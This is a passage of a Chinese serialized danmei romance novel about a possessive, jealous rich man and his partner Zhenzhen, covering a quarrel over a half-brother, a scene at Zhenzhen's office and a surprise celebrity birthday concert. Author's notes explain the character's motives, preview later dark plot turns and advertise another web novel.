贺越邱看着他衣服上沾着的白色狗毛,只觉得刺眼,冷笑道:“别,不用。你坐着继续吃,别因为我耽误你们交流怎么养宠物。” 甄甄很少见到他这样,有点无措:“我……我吃饱了。你要是没事了,那我们就先回家。” 贺越邱看一眼他几乎没怎么动过的碗筷,笑得叫人后背发冷。 他冷冷地吐出两个字,“撒谎。” 甄甄一时不知道该怎么回答。 贺越邱却越发生气,他看见这两个人凑在一块儿的第一眼就想发火,可想到前段时间才刚闹了矛盾没和好多久,他不想再节外生枝,硬生生将胸腔里想要把这儿砸个稀巴烂的冲动压下去,把甄甄拽得踉跄,挡在自己身后,警告性地瞪了贺过岭一眼。 用唇形说着,找死。 这氛围很微妙,贺家的亲戚们自觉闭嘴,贺过岭抱着小狗,倒是依旧斯斯文文的,对着贺越邱和甄甄都笑了笑:“哥,嫂子,慢走。” 贺越邱握紧拳头,指甲几乎嵌进肉里。 被他抓住小臂的甄甄更是吃痛,被拽着回了二楼。 贺越邱狠狠地甩上门,连门框都猛地震了震,吓得甄甄一惊。 贺越邱放开他的手,可能是过敏,也可能是太激动,让他连呼吸都有些困难。 他也不说话,只是有如厉鬼般看着那双有些惊慌的眼睛。 甄甄下意识退了两步,他实在没见过贺越邱这么可怕的眼神,就像……就像要吃了他一样。 害怕,又生气。两种情绪交织在一起,甄甄忍不住想,他就算食言了,没做到和贺过岭保持距离,可他们不过是刚认识,仅仅交换了名字,哪怕贺越邱再讨厌这个弟弟,又凭什么迁怒他? 这么想着,甄甄正要开口,贺越邱却抢先一步,克制住暴虐的情绪,压抑到极致的声音听上去反而有几分可怜:“你能不能听我的话,离我不喜欢的人远一点儿?到底是我更重要,还是一条破狗重要?他今天拿条狗就能逗你开心,明天再随便许点好处,你是不是就把我的话全都抛在脑后了?” 甄甄被说得先是一愣,回过神后,气笑了:“你也太小题大做了吧,我跟他的交集仅仅是回老宅给贺叔叔过生日才会遇上,除了你的家庭社交场合,我和他基本不会再有任何见面的可能性。而且你平时也不是这样的,你之前老使唤方寸行老请他来家里做客的时候怎么不生气?吃醋吃到自己弟弟头上,也太离谱了吧。” 贺越邱急怒地打断道:“那不一样!方寸行和贺过岭不一样!你……” 说到一半,又说不下去,他像是想起什么,手脚忽然就卸了力,后退着靠在墙壁上,抬手挡住眼睛。 他不叫甄甄看见自己脸上的表情,仰起的喉咙上,硕大的喉结费劲地滚动着,胸膛也跟着剧烈起伏,整个人的状态像极了一头暴怒又刻板的受伤雄狮。 甄甄见状吓了一跳,忙过去拍着他的胸口顺气,安慰道:“你先别急,有什么事慢慢说,好好说……” 贺越邱另一只手却突然抓住他,很用力,但克制着没有像上午那样失控。 贺越邱紧紧盯着甄甄的眼睛,从喉咙里艰难地挤出声音:“你不知道……甄甄,你不知道贺过岭有多阴狠。” 甄甄愣住,很快又听到贺越邱愤怒而颤抖地说:“他妈就不是什么好东西,生下来的当然也是天生的坏种。贺过岭只是表现得一副端庄持重的模样,那只是他的表象,他从小就会伪装,在所有人面前都是一副听话好学生的做派,只要他说的话就有人信,只要我说的话就没人相信。” 贺越邱恨极了,咬牙切齿道:“他抢我的东西,撕我妈留下的日记,知道我对宠物过敏就故意捡一堆又臭又脏的流浪猫狗回家,我爸还夸他善良。那些猫狗自己生病死了,贺过岭就指使佣人说是我弄死的,我爸打我打得皮带断了两根。就因为我比他大,所以我的东西都要分享给他,否则所有人就都会骂我自私,连带着骂我妈没教好我,他们眼里我妈是疯子,我也是疯子。只要他在这个家里一天,我就不得安生—— 甄甄,你没经历过,你不知道我对他们的怨和恨,这些我不怪你,可你答应过我会远离贺过岭,你为什么又反悔?!我当时在门口看到你们其乐融融的样子,你知不知道我心里有多愤怒,有多难受,我恨不得杀了他!” 甄甄流着眼泪,抱住比自己大很多的男人,只恨不得将整个人都填进去,填平他这些年受过的委屈。 “别想了,别说了,你难过我也难过,你多痛我就有多痛。我知道了,我不会再和他有任何接触。那些事早就过去,现在是我陪着你,我永远也不会离开你的。” 贺越邱抓紧他,重重跳动的心脏生出一种可怕的冲动,只想把这瘦削的身体揉进骨肉里,从此彻彻底底地合二为一。 他将头埋在甄甄的肩膀里,深深地闻着爱人身上清淡的雏菊香味,一想到这样安心的拥抱有朝一日会不再属于他,便痛得快要发狂。 贺越邱猩红着眼,背过甄甄的表情极度扭曲,神经质地说:“这是你答应我的,是你自己说永远都是我一个人的。如果你食言,不管你跑到天涯海角,我都会追着你,把你抓回来,锁在我身边,让你哪里也去不了。” 甄甄闭上眼,被贺越邱的疯狂逼得颤抖,却仍旧紧紧拥抱着他,细细密密的吻像春雨一样落在男人的颈侧,安抚着他所有的躁狂与不安。 甄甄仿佛自愿献祭的圣女般,将自己的爱与血肉、欲和贞洁,都毫无保留地许诺给暴君,轻声道:“好。”—— 作者有话说:这里说一下吧,野牛真的不是绿帽癖,他是因为从小就被要求分享和忍让,造成了没有安全感和ptsd,在他心里不管是公司还是钱财,都不是他的,只要贺过岭想要,他爸就会让他给出去。只有甄甄是完全属于他的,所以他做这些脑残事,实际上是占有欲扭曲成变态了,他要一次一次地反复试探,确认甄甄永远也不会变心,不会离开他。方寸行和贺过岭不一样的地方在于,方寸行没有抢过他的东西,但贺过岭真的会抢,这就是个能激怒他的开关。 我没有提到太多攻的追妻剧情和他的心理成因是因为不想剧透,加上说多了像洗白,所以我想尽量写在文里让大家看见,包括锁菊之类的争议,到后面也会解释清楚为什么这么安排,不会和贺过岭做到底不代表这个情节不虐攻不代表没意义,也绝不是什么攻妈锁花之类的,我真是锁花强行洁我为什么还写过虞枝,只是不同的文我有不同的xp和为人设服务的逻辑,当然大家也可以不接受,没有强迫所有人都接受我的观点的意思。 这本文再过几章就是发现账号决裂,会有攻暴力强尖受,言语上的粗俗羞辱,和受患上ptsd等等,到彻底分手之前都是比较虐受,攻逐渐恐慌后悔强制爱的调调。彻底跑路之后就是攻追妻虐攻。 一时半会不能很好的措辞,篇幅也不够我完整解答大家的疑惑,我脑子现在有点乱,加上没有存稿,每天都是现憋,最担心的是怕文章质量下滑,如果有雷到读者,我真的非常抱歉,但我会按我原本的剧情大纲往下走,如果接受不了的话请及时止损吧,非常抱歉 第28章 第 28 章 完全属于贺越邱的东西。…… 贺越邱睁开眼, 一低头就看到怀里熟睡的甄甄,晨光打在他半边脸上,勾勒出纤细优美的肩颈线条, 睫毛轻轻盖在眼皮上, 像个恬静安和的天使。 贺越邱不自觉地勾起唇角, 在光洁的额头印下一吻, 下巴上粗糙的胡茬磨得甄甄半梦半醒, 哼唧着推他。 贺越邱包住那只手,放到唇边亲了亲,低声耳语:“还是在自己家里好。” 他名下有再多房产,归根结底都不过是一纸文书上可以随时买卖的不动产, 终究无法像甄甄这样, 带给贺越邱踏踏实实的, 家的感觉。 小时候经历丧母之痛, 被至亲排挤、冷落;后来又在异国他乡独自长大,多少个枪鸣纵火的深夜,他枕头下压着枪孤枕难眠……无数个孤郁的时刻, 他渴望的,都是一份安定。 身边的同龄人嗑药打泡群/交, 床伴换得比翻书快,贺越邱要是想,他可以比谁都更轻易地拿这种堕落的生活换取片刻解脱。 他成长的过程中也不知道受到过多少次这样的诱惑, 贺家长子的名头足以吸引无数人争先恐后地把他拉下水, 酒吧里的一杯鸡尾酒、比赛时的一瓶矿泉水……谁知道里面加没加料。 直到现在,贺越邱也依旧保持着离开视线的食物和水绝不进口的习惯,他坐到这个位置,没有办法轻易地相信任何人。也因为遗传自母亲基因中对感情的偏执, 让他无法做到轻易地交付出身体。 那些年里他的精力通过各种极限运动来发泄,尤其是诉诸暴力的橄榄球,压抑到极致反而患上轻度的性瘾。医生建议他可以进行适当的发泄,可他宁愿被情欲之痛折磨一生,也不愿意随便找些乱七八糟的人。 无爱的性/事只能称之为发泄兽/欲,他做不到灵肉分离。那些人给不了他想要的陪伴,给不了他可以孤注一掷的爱,这样的性/交于他而言就不可能是解药,而是毒品,上瘾之后只会加速肉/体的溃烂,最后连精神也被蚕食,火化后都无一片葬身之地,更不得往生。 贺越邱细数自己的前半生,他是一出生就拥有了数不尽的财富,是金字塔顶端的极少数人。可没人知道呼风唤雨高高在上的贺大少爷,精神上得到的关爱却匮乏到如同睡在纽约冬日街头的流浪汉,掏出来的破烂钱包里只剩最后一片过期止痛药。 他在一个物欲横流、钱权能买来一切的世界里贵为国王,却从来没有对任何地方产生过归属感,也从来没对任何人付出过真心。 他原以为自己这辈子就是这样了,他活在这个世上的每一分,每一秒,都是作为一个继承家业的工具而存在。情绪不重要,感受也不重要,唯一的作用,就是片刻不停地工作,维持这个庞大机器的运转。 但也许是老天偏爱,回国的第一天,他就在这片阔别已久的故土上遇到了命定的爱人。 看到甄甄的第一眼,贺越邱就听到了心跳加速的声音,他的血液沸腾、脉搏强烈,似乎有一把火熊熊地燃烧起来,是此前二十余年的人生中从未有过的感觉。 他感受到了一种致命的吸引,也坚信那就是命运给的提示。于是他改变方向,向正确的轨道走去。 在此之前,他遇到的每一个人都心怀鬼胎,抱有明确的目的,对他的讨好、巴结、奉承,背后都明码标价。 在甄甄之后,他才感受到,何谓赤子之心。 告白时,贺越邱对甄甄说。 ‘心动是一树樱桃,摘一次就少一点,而我吝啬得连小鸟都不想给它偷吃。 我只想让你做摘果子的人。’ 但甄甄只是拿篱笆把这棵樱桃树围起来,给它施肥、除草、摘虫。这是他的树,他不吃它甜蜜的果实,他只是想好好地照顾它,看它周而复始地开花结果,落叶发芽。 贺越邱有这个能力,得到他真心的人,可以拥有整个世界。 但这个世界上只有一个人,会妥善地保护好这颗真心。 不伤害它,不利用它,不向它索取。 只有在甄甄身边,贺越邱才不必勾心斗角,不必操心劳力,在外面再累再辛苦,回到家永远有一个温热的怀抱可以容纳他的疲惫。哪怕他们什么也不做、连话也不说,但只要在同一个空间里,知道有这么一个人安静地陪着自己,能听到他安稳的呼吸,贺越邱的心就前所未有的放松和满足。 他撩拨着甄甄的头发,看他在阳光里白到透亮的脖子,就这样的时刻,拿再多钱也不换。 这就是能治他病的药,没有甄甄,他活不下去。 贺越邱扣紧甄甄的手指,十指相交,放在胸口。 这个世界上,完全属于他的东西。 只属于他。 天气很好,温度合适,风轻轻地吹起白色窗纱,没有惊扰到熟睡的爱人。 贺越邱今天难得不想早起,让秘书把早饭送来,窝在被子里,抱着甄甄温存,数他的睫毛有多少根。 “唔……” 甄甄反复重启,最后强制开机,艰难地睁开眼,破天荒地看到贺越邱还躺在床上。 他懵了一下,瞌睡泡“啪”一声破碎,散成朵朵蒲公英。 他眨眨眼,戳了下贺越邱结实的胸肌,感受到真实的温度。 “你也没起?” 贺越邱低头含住那根秀气修长的手指,轻轻磨了磨,含糊地嗯了一声。 连家里最勤快的都在睡懒觉,他赖一下床又怎么了? 甄甄完全说服自己,又倒下去躺平,安详地放平双手,准备再睡个回笼觉。 贺越邱捏住他的脸颊,亲了口:“从此君王不早朝。” 甄甄睡眼惺忪,一打哈欠,就挤出几滴眼泪:“好文采。” 说完便昏睡过去。 贺越邱抓着他的手,拿手机拍了一张。 方寸行看着贺越邱昨天的朋友圈,不由自主地冷笑,真是好一对岁月静好的甜蜜恋人。 又抬头看着被自己拦下来,脸上写满心虚的甄甄,不知道哪里来的一股无名火涌上胸口,猛地攥紧了手机。 他硬是从咬紧的牙关中挤出声音,一向平静的语气也有些起伏:”我原以为就算你一时半会儿舍不得跟贺越邱分手,也至少不会这么轻易地就被哄好,真是没想到……这才几天,就又睡到一起了?怎么,现在我倒成了那个打散鸳鸯的棒、分开织女牛郎的银河,你们继续恩恩爱爱,我是那个十恶不赦的人?” 甄甄忙说:“我没这个意思!” 但方寸行说的也没错,他不免心虚,声音低下来,挪开眼:“谈恋爱这事儿嘛……感情再好的情侣之间也是会有矛盾的。我知道你没什么坏心思,不是故意要挑拨我们,但是……” “够了!” 方寸行忽然一声呵斥,倒吓了甄甄一跳。他抬头看到男人阴沉沉的脸色,一开始还有点儿害怕,但转念一想自己又没做错事,就算是老板,凭什么总对自己的感情问题指手画脚?这是不是管得太宽了? 这么想,甄甄胆子反而大了,怼回去:“你凶我干什么!” “我凶你?好笑。”方寸行扯着嘴角,“你知道什么?!你以为贺越邱有多爱你?他——” “他怎么?” 方寸行心中又气又怨,他好想把一切都说出来,让沉浸在虚假幸福中的甄甄彻底清醒,好好看看,他付出真心对待的那个人到底值不值得。 可话到嘴边,方寸行又想起让戴维查的那份资料,想到那个被收养家庭虐待的小男孩,又看着眼前单纯懵懂的甄甄,反复地深呼吸好几次,那句话始终说不出口。 方寸行心里清楚,真正犯错的人是贺越邱,甄甄只不过想和心爱的人好好过日子。在他的视角里,他的爱人并没有原则上的错误,偶尔的吵架也是小打小闹,他不想因自己一面之词,就轻易而草率地放弃这段得来不易的感情,这又有什么错。 一切的忿怨,都是方寸行这个局外人在为他感到不值。 他看着甄甄清澈的眼睛,想不通怎么会有人明明吃过那么多苦,却还能有这么多柔软的爱可以奉献出去。 他对贺越邱的爱,赤澄到任何见过的人都会嫉妒。 方寸行想,连他也不是那么的光明磊落。 方寸行的眼睛里渐渐笼上一层悲怆,他真的希望甄甄永远不要被真相找到,更不要再爱一个不值得的人。 他闭上眼,认命般:“如果你觉得和贺越邱在一起就是最好的选择,那我尊重你。” 就这样什么也不知道的,活在贺越邱为他编织的美梦中,或许会是更好的选择。 甄甄疑惑道:“你到底想说什么?不要说这种经典男二台词好不好!” 方寸行渐渐平复了情绪:“……没什么。” 甄甄有点不自在,躲避着他的视线:“要没事的话,我就去拍摄了。” 方寸行沉默着,直到甄甄等不下去,转身要走的时候,他才忽然说:“前几天你遇到的那个……极端粉丝——” 一提到甄波,甄甄的心就吊到嗓子眼儿,紧张地看着方寸行:“他怎么了?!” 方寸行又想到了他在他叔婶那里受到过的欺负,既愤慨,又有些心疼,安慰道:“别担心,我把他打发了,警告过让他不要乱说。也跟保安强调过,以后非公司员工或有人脸预约的外来人员,一律都不允许放入。” 甄甄悬着的心终于落地,怪不得,这些天他都没再见到过甄波了,原来是方寸行的手笔。 他偷偷看了眼男人,别别扭扭地说:“谢谢。” “你确定这么快就要对我改观?‘没想到这个无良老板心地居然这么善良’,你心里现在就这么在想对吧?” 甄甄目移:“呃……” 方寸行勾起唇角,故意说:“那你可能高兴得太早了。时装周我也会去,想感谢的话,正好,我不打算带生活助理,这个重任就交到你身上吧。” 甄甄的脸又垮下去:“什么?!不要啊……”—— 作者有话说:野牛是一个,物化老婆,更物化自己,平等物化所有人。 (我又有新的歇后语,甄甄和贺越邱的孩子,猜一身体器官[坏笑]) (第一个猜中的宝宝将会获得小红包[星星眼]) 给我的基友推推预收,13号就开了,是可可爱爱的仓鼠受! 《鼠鼠我啊!》by星晏 闻钰是一只化形都还不稳定的鼠鼠,三年前被经纪人捡到,用几斤瓜子就忽悠进了娱乐圈,可怜的鼠不想上班,只想赶紧退休。 他开了一个小号专门黑自己,坚信只要他黑料缠身,公司就会主动雪藏他,这样他就可以找一间大房子安安心心睡觉嗑瓜子。 某天娱乐八卦爆料: #当红小生出入高级会所,疑似会见金主# “劝删,对崽崽不好,那家会所旁边有一条美食街,他可能是去偷吃的时候不小心被拍到了,被程哥发现他就完了。” “哦天呐崽崽,听麻麻一句劝,下次出门的时候至少带个鸭舌帽好吗好的,你那一头小灰毛是担心程哥在新闻上看见你认不出来吗?” 电脑前正等着网上血雨腥风撕逼的闻钰吓得一抖,他承认他那天摆拍结束之后确实是去美食街吃了亿点点,但是这不是他想要的结果! 闻钰不死心,故意把自己跟某位大佬在酒会上的错位视频卖给狗仔,这一次他做了双重保险,大佬讨厌无意义的事,最主要的是大佬是只黑猫!猫肯定最讨厌他们鼠了!这次肯定能成功! 为了退休闻钰冒着生命危险,但谁知爆料不到两小时,晏氏集团的官博就转发狗仔的那条错位视频并配文:劝删,对我们老板不好,老板的对象不希望公布他们之间的关系,老板已经三天没回家了。 就在网上疯狂讨论闻钰与晏黎澍的关系时,闻钰的粉丝也很担心。 “崽崽你不能做这么物质的崽崽,我们都知道晏氏集团是卖零食起家的,你怎么能真的向这么多零食屈服!” “崽崽你醒醒!要是被晏黎澍那个大魔王知道你是因为零食才跟他在一起的,他能把你吃了!” 而被黑色大猫叼住后颈皮抓到沙发上的鼠生无可恋。 给经纪人打个电话吧,今晚不用做他的饭了,直接通知家鼠吧。 鼠鼠我啊,死到临头了…… 小剧场: 鼠鼠:我知道你,你是那天晚上打碎我家玻璃的咪咪。 猫:…… 【几天后】 同事:晏(丧)哥(彪),我怎么听说有人叫你咪咪[阴险.jpg] 猫:…… —— ★封面绘制感谢@听松眷夏时,是闻钰的女装人设图,女仆鼠鼠为您服务(=^▽^=) ★本文禁止任何角色梦向! ★沙雕娱乐圈文,但非传统娱乐圈,有大量灵异片段出没,弹幕多。 ★1v1主受,he保证,仓鼠受×黑猫攻,有副cp。 ★鼠鼠是团宠,大家都喜欢他,有不爽的地方请骂攻骂作者,不要骂鼠鼠orz。 第29章 第 29 章 “我要送你一个难忘的夜…… 方寸行目光冰冷地看着对面姿态放松的男人, 不知花费多少力气,才忍住没有撕破脸。 “贺总日理万机,怎么有空屈尊寒舍。” 贺越邱忽略方寸行对他的排斥, 大大方方地打量着这间办公室, 又走到百叶窗边, 透过缝隙观察工位上和同事聊天摸鱼的甄甄。 他笑了笑, “早知道当时就把甄甄弄到我的公司, 让他做我的贴身秘书,也像这样改一间办公室,偶尔还能换一换花样。你说是不是?” 方寸行的脸色立刻就变得难看,忍耐道:“别把你那些肮脏的揣测安在我和甄甄头上, 我们之间就是正常的上下级关系, 什么也没有。在我的地方, 你至少把嘴巴放尊重点。” “哟, 这就生气了?”贺越邱啧了一声,“你几次三番挑拨离间,让甄甄回来跟我吵架, 对兄弟做这么不厚道的事儿,我不是也没说什么?” 方寸行自知理亏, 紧紧攥着钢笔,一时无言。 贺越邱穷追不舍:“正常的老板会这么关心员工的感情问题吗?嗯?方总?” 方寸行打断道:“你到底想说什么!” 他握住钢笔的那只手微微颤抖起来,恐惧着, 抗拒着, 害怕从对方嘴里听见什么确切的结果。 贺越邱意味深长地看着他:“行,既然你不想听,那我就不说了。” 方寸行只觉胸口发闷,反复地呼吸几次后, 才勉强能够开口。 他垂下眼皮,刻板地盯着某一点,厌烦道:“找我到底有什么事。” 贺越邱坐下,随意地翘着二郎腿,边敲着桌面,边思考。 “甄甄生日快到了,往年都是我把年假挪到这几天,带他出国玩一趟。但今年他有工作走不开,所以我想,不如就在国内给他办一个生日宴。” 方寸行皱眉:“贺越邱,麻烦你搞搞清楚,我这里是娱乐公司,不是生庆婚礼策划。” 贺越邱笑道:“有什么区别?甄甄喜欢看剧听歌,你公司旗下不是刚好有一堆演员歌手吗,正好给我家宝贝儿办一场他喜欢的群星演唱会,他肯定会高兴。” 他说着,就开始挑选自己平时从甄甄平板里瞥到过、尚有印象的明星,点菜一样,列了一堆耳熟能详的名字。 方寸行听到最后彻底黑脸,忍不住提高声量,接近低吼:“你别这么荒唐!你当我这是什么地方?你非要搞生日演唱会,我可以通知旗下几个男团女团,拉上去唱个歌跳个舞。你说的这些个个都是当红艺人,随便一个拉出来微博粉丝都是几百万,连最糊的通告都排到年底了,一场音乐节的出场费都是按六位数起,更别说那些混出头的演员,谁会陪着你胡闹!” 贺越邱一拍桌子:“你提醒我了,差点忘记这种偶像组合。行,到时候也叫来。” “对牛弹琴!” “你急什么?我又不是不给钱。市场商演报价多少,我就给多少,请不动就双倍;档期问题么,一人就出场那么一二十分钟,没空的就挤一下,总会有时间,我还不信会有人跟钱过不去;你既然说演员比歌手有档次,那我拿代言换,唱一首歌给一个代言。我今天来就这一个要求,一定要给甄甄办一场让他喜欢、让他难忘的生日。” “方寸行,我的个性你清楚,只要我贺越邱想做的事,还没有办不成的。” 贺越邱掷地有声,根本没有在和方寸行商量,从头到尾都只是通知他务必把这件事落实—— 为男朋友豪掷万金办一场群星演唱会这样在普通人看来天方夜谭的事,在他口中,并不比计划明日去哪家餐厅用餐更麻烦。 谁让他的财富权柄早已经达到无数人难以企及的地步,谁让他是贺越邱,是在京城这样的地方说话都有分量的人。 方寸行已经是同辈人中可望而不可即的存在,那些享受着千万粉丝追捧的当红顶流在他面前都得要客客气气,更遑论没什么名气的小明星。他也算是众星捧月的那一批人,可他在贺越邱面前,依旧只能感觉到深深的无力。 他们之间的差距,太大了。 方寸行紧攥着钢笔,半晌又松开,其实已经知道拒绝不了,却还是做着最后的挣扎:“就算人员不是问题——场地呢?大型场地都需要提前审批,但甄甄的生日应该很快就到了吧。时间太紧,我办不到。” 贺越邱微笑地看着他:“就算完全按照流程办理,报批最快也只要三天,时间不是问题。我也没让你去定几万人的场地,别说得好像我在刻意为难你,普通的体育场、大剧院……都行。这方面你比我有经验,想必不需要我来指导。我只有一个要求:让甄甄在他的生日上玩得开心。之后你们公司无论是新上的剧还是综艺,我都会赞助。这笔买卖你不亏的。” 方寸行闭上眼,深深地呼吸。 许久,才低声道:“好。” 贺越邱露出一个满意的笑容。 临下班时他从方寸行办公室里出来,甄甄还奇怪:“这么开心?你又宰了老板一笔?” 来的时候甄甄就再三强调过不许在办公室啵嘴,贺越邱就没动手动脚,只是趁没人看见,飞快捏了下他的耳朵。 他会想着方寸行吃瘪的表情,愉悦道:“应该算我被他宰了一笔吧?” “那你还笑得这么欢?” “因为就算被宰,我觉得也挺值。” 两人正说着,只见方寸行靠在门边,阴沉着脸,往他们这边看了一眼,把戴维和阿曼达叫进去了。 甄甄模仿着戴维的语气,夸张道:“大件事,公司马上扑街啦。” 贺越邱想着过几天他又会多高兴地蹦到自己怀里,用这样的语气说天啊我好幸福,我有全世界最爱我的老公,胸口便被暖意填满,暗暗勾起了唇角。 甄甄眼尖,立马问:“你笑什么啊?” 贺越邱以拳抵唇,咳嗽两声:“没有。我没笑。” “你就是在笑!” “我其实在哭。” “那你哭什么?” “……好吧。”贺越邱忍俊不禁,扬起一边眉毛,眼眸里倒映着甄甄得意的表情,“我在笑。” 转眼到了五月十九,是甄甄生日前一天。他提前跟贺越邱说过,最多在北京待到21号上午,就要飞上海参加时装周,时间上是挺紧的,所以他没有多余的打算,到时候就请假在家里待一天庆祝生日。 说起生日,甄甄和贺越邱在一起之前,几乎没有过过,在一起之后又基本都是一起出去旅游,所以他其实没多少关于生日的概念,有人过就庆祝一下,没有就正常上班。 他的心态放得还挺平常的。 但投入工作后,和往年也的确是有些不一样。阿曼达去拿快递的时候顺手帮甄甄取回来一拖车的礼物,个个包装精美,印着他合作过的品牌方的名字。 戴维把它们搬到空置的桌子上,看着堆起来如小山般的礼盒,甄甄仿佛看到骨头的小狗,两眼都放光,招呼同事们过来一起拆。 甄甄挑了一个蓝色的盒子,打开来是一款木质调的经典男香,他在家里的衣帽间里见到过,贺越邱搞情趣的时候就会喷点,每次一闻他就会比平时更……一些。 甄甄打开手机一查价格,看到数字后跟的三个零,顿时手抖了一下。 巴掌大的一瓶香水,随便多喷几下就没了,居然这么贵! 下回贺越邱再喷,就算明知道是为了勾引自己,他也一定要多闻闻,不能浪费了! 戴维拆出来一个爱马仕橙的笔记本和钢笔,扔到一边:“正经人谁写日记啊。” 阿曼达拿起手上的盒子敲他脑袋:“那是甄甄的生日礼物!谁给你的权力乱扔?” 甄甄忙说:“没关系,差不多的礼盒太多了,我拿回去也是闲置,可以放在办公室里大家一起用。” 戴维听完,刚捡起来,又扔一边去了,连连点头:“就是!品牌方的生日礼盒千篇一律,哪里有我给甄甄准备的礼物有新意!” 甄甄敏锐发问:“你给我准备了生日礼物?” 阿曼达借着遮挡,一脚踩在戴维的尖头皮鞋上,痛得他五官猛皱也不敢出声。 “全星火边个唔知李佳航最缩骨,公司门口嘅金桔结果佢都要摘翻屋企浸水饮,唔问你要生日礼物就算唔错啦,点可能仲要使钱准备生日礼物俾个同事啊。” 阿曼达笑眯眯地看向戴维,一口港片翻译腔,“你说是哦,一毛不拔李先生?” 戴维丧着脸,拖长音调:“系咯,我就系全广东最孤寒嘅铁公鸡。” 甄甄和同事们都笑起来,总裁办一时洋溢着欢快的气氛。 直到方寸行出来,叫走甄甄,阿曼达才招呼大家把礼物都收拾好,等甄甄忙完拿回家。 到电梯口,甄甄边走边问:“咩啊?” 说完就捂住嘴,在心里骂戴维,都怪他害自己发出羊叫! “……”方寸行说,“NiNi下周有演唱会,但场地方刚刚才通知说和一场比赛在时间上有冲突,你和她的经纪人现在过去看看,能协商解决最好,不能的话换我亲自出面。” 甄甄一时还有点儿懵圈:“这么重要的事情交给我办,对公司真的好吗?” 方寸行看他一眼,想到贺越邱荒唐的生日计划,出于一种微妙的竞争失败的心理,表情不是很好看。 “怕什么?又不会吃了你。” 甄甄从方寸行的语气中察觉到他心情不是太好,将疑问吞进肚子里,勉强应下来这份差事:“好吧,我把公司干倒闭了你可千万不能找我负责。” 方寸行忽然冷笑一声,带着点阴阳怪气:“怎么会。有你老公在,星火的福气还在后头。” 甄甄确信姓方的是又犯病了,一个白眼翻过去,恰好电梯到了,转身就走。 方寸行抿着唇,已经后悔失言,但看着缓缓合上的电梯门,最终还是没有再发出任何声音。 甄甄有NiNi经纪人的微信,他大概问了下情况,问题倒不严重,就是得去扯皮。 经纪人说她还在陪NiNi录制综艺节目,暂时没办法离开,让甄甄先赶过去探探口风。 公司离体育馆不远,打车半个小时就到了。 甄甄随手拦了个出租车,到地方后正要扫码付款,司机瞥到他的动作,拿出一个二维码:“你扫这个能领券。” “哦哦。” “滴”的一下,页面跳出来两个Q版小人,拉着手转了一圈后,弹出一个“恭喜您抽中本单免费”的文字框。 甄甄愣了下,司机说:“哇塞,年轻人你运气也太好了!” “啊?” 甄甄还没反应过来,就被师傅喊下了车,一个漂移便扬长而去。 这、这么草率的吗? 甄甄总觉得不对劲,拼多多也总是说他是全世界最幸运的人,可实际上他每次在砍一刀界面忙活半个多小时从未成功提现过! 正想着,一个在体育馆卖花的小姑娘走到他面前,把铁桶里最后两枝艾莎玫瑰送给他。 甄甄正要说他不买,小姑娘提前预知般,甜甜地笑道:“最后两支卖不掉啦,就送给你吧!祝哥哥有一个美好的夜晚!” “欸?谢、谢谢。” 甄甄有些意外,但也没有太受宠若惊,他长得好看,从小到大,走在街上经常被搭讪送花,有些时候在餐厅吃饭还会被免单。 也许,他今天真的很幸运? 这么想着,连莫名要加班的不爽都被这份好心情冲淡许多。 但直到又往前走了一截,一个小男孩也以同样的理由送给他两支艾莎,他才后知后觉地反应过来,这似乎不是命运女神眷顾,而是一种甜蜜的魔术。 这时候天也黑下去了,一排排路灯亮起,圆润白亮,像天上摘下来的月亮。甄甄走到体育馆入口,巨屏上突然跳出一行字,连同他,还有很多路过的人都驻足观看。 “北京时间5月19日星期一晚,我和世界一同期待爱神明日的诞生。” 周围人窃窃私语,讨论着又是哪个有钱人为博情人一笑的手笔。 甄甄放慢了脚步,心底的猜测渐渐明晰,却还是有些不敢相信。他想着会不会是巧合,而今晚最巧合的便是此时吹乱他头发的晚风,他抬手要去整理时,忽然被一只干燥的大手轻轻地捂住眼睛。 贺越邱的声音在他耳边很轻地响起:“从现在开始,把你完全交给我。” “我要送你一个难忘的夜晚。” 甄甄只在失去视野的瞬间有些许慌乱,但当身体辨认出熟悉的温度后,他便彻底安下心来,绷紧的身体也完全放松,由贺越邱带着他往前走。 他看不见路,不知道前方有没有台阶或者障碍物,却没有一丁点儿的不安,也不害怕会撞上墙。 他被贺越邱搂在怀里,听到的呼吸声是如此沉稳,触摸到的心跳是那么有力,他知道他正在贺越邱的世界里行走,而这个人会保护他、呵护他,带给他无以伦比的安全感。 甄甄不清楚这段路走了多久,但他数了240个数,正好是成年男人五分钟的心率。 这五分钟,他就像听到了贺越邱240次的告白。 “前面窄,小心点。” 贺越邱说着,但把甄甄抓得很紧,就算是在往狭窄的座位里挤,也稳稳地护着他,没发生任何磕碰。 他们坐下后,他才放开手。 甄甄睁开眼的一瞬间,原本漆黑一片的四周忽然亮起无数盏闪光灯,一齐打向距离他们不过几米远的舞台中央,灯架最上方是硕大的主题: 生日快乐—— 献给甄甄,或者瓦瓦的演唱会。 一道磁性的男低音像溪水般缓缓流淌,用着缱绻的唱腔,唱着甄甄最近常听的一首情歌。 他还没反应过来,眼睛就先一刻认出台上的演唱者,旋即睁大,有些不可置信地站起来。 “那是……!” 贺越邱翘着腿,全神贯注地凝视着甄甄,因为他眼睛中流露出的惊喜而勾动唇角,点头肯定着他说出来的那个名字。 长红了十几年的歌手,不是星火的艺人,但和方寸行私交不错,也让他请来,用着几千万的音响设备,唱这首价值百万的开场,被贺越邱当做这场生日派对的背景音乐。 这些集万千星光于一身的明星们,加起来的光芒也比不过贺越邱手心的那颗明珠。 听到那酥到让人心神荡漾的男神级声音喊着自己的名字,祝自己生日快乐,甄甄幸福到有一种极不真实、飘在云端的错觉。 而接下来出场的竟是更熟悉的面孔,今年才火了一部很火的古装剧,甄甄和阿曼达在办公室天天磕他和女主的CP,也被请到只属于他一个人的生日演唱会现场,唱出那首缠绵悱恻的OST。 甄甄激动到在原地蹦了几下,极力克制才没有尖叫出声,贺越邱等了半天也没等到男友如预料中般扑到怀里撒娇痴缠,便咳嗽两声,拍拍自己大腿,完全就是个亡国昏君的做派。 甄甄还能不知道贺越邱的小心思,他故意装作没看见,投入地听着演唱会,却又在贺越邱怀疑人生的时候,勾起腿,轻轻地在男人大腿上蹭了一下。 贺越邱低眼,顺着那条纤细笔直的长腿往上看,甄甄转过身,弯下腰,明明整个体育馆里就他们两个观众,也要装作躲开人声鼎沸的样子,又轻又快地在他唇上点了一下。 仅仅是这么一个管烧不管灭的点火轻吻怎么够,贺越邱被撩得心痒难耐,男人的劣根性就是喜欢找刺激,恨不得在这儿就把甄甄扒光,急促地呼吸着:“再给我点儿。宝贝,给我。” 甄甄端端正正地坐回去,只用眼尾勾着看他:“公共场所,注意影响。” 